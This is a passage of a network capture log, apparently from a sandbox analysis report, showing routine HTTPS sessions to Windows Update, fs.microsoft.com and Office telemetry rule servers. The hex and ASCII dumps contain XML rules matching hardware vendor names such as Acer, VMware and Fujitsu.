54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49745	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:27 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=P+eths3fKrTxYz6&MD=kKBr4+A7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-06 17:45:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 27a39d6d-5efc-4e43-a205-c3a6abd2336a MS-RequestId: 03a66624-4f40-497e-aed9-514db54c3f6f MS-CV: R5JtrGBF60W8Yksv.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 06 Dec 2024 17:45:26 GMT Connection: close Content-Length: 24490
2024-12-06 17:45:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-06 17:45:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49752	2.18.84.141	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:28 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-06 17:45:28 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=141234 Date: Fri, 06 Dec 2024 17:45:28 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:28 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:29 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: aae5b6c6-f01e-005d-7a06-4813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174529Z-r1cf579d778dc6d7hC1EWR2vs800000000t000000000106w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-06 17:45:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:28 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:29 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 4e874e96-601e-0002-50d2-46a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174529Z-1746fd949bdwt8wrhC1EWRu6rg00000004qg00000000by2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:29 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:28 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: de914170-201e-0000-68ad-45a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174529Z-1746fd949bdb8xvchC1EWRmbd400000004k0000000002zv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:28 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 16655d81-601e-0084-07c4-456b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174529Z-1746fd949bdmv56chC1EWRypnn00000004p000000000k1bs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:28 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:29 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 431871c3-501e-0047-55cc-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174529Z-1746fd949bd2cq7chC1EWRnx9g000000045g00000000eft6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:29 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49762	2.18.84.141	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:30 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-06 17:45:30 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=40404 Date: Fri, 06 Dec 2024 17:45:30 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-06 17:45:30 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:31 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:31 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1e40fce6-401e-0078-1bd2-454d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174531Z-1746fd949bd6zq92hC1EWRry4800000004mg000000000zyq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:31 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49764	13.107.246.63	443	6096	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:31 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 1b86d58a-f01e-0071-54ce-45431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174531Z-1746fd949bd6zq92hC1EWRry4800000004fg00000000fphz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:31 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: f6d2a488-401e-000a-7403-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174531Z-r1cf579d778t5c2lhC1EWRce3w00000000sg000000002fsa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:31 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:31 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 9b0204ab-501e-0047-62c1-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174531Z-1746fd949bdjzh7thC1EWR3g6400000004gg00000000p4ug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:31 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
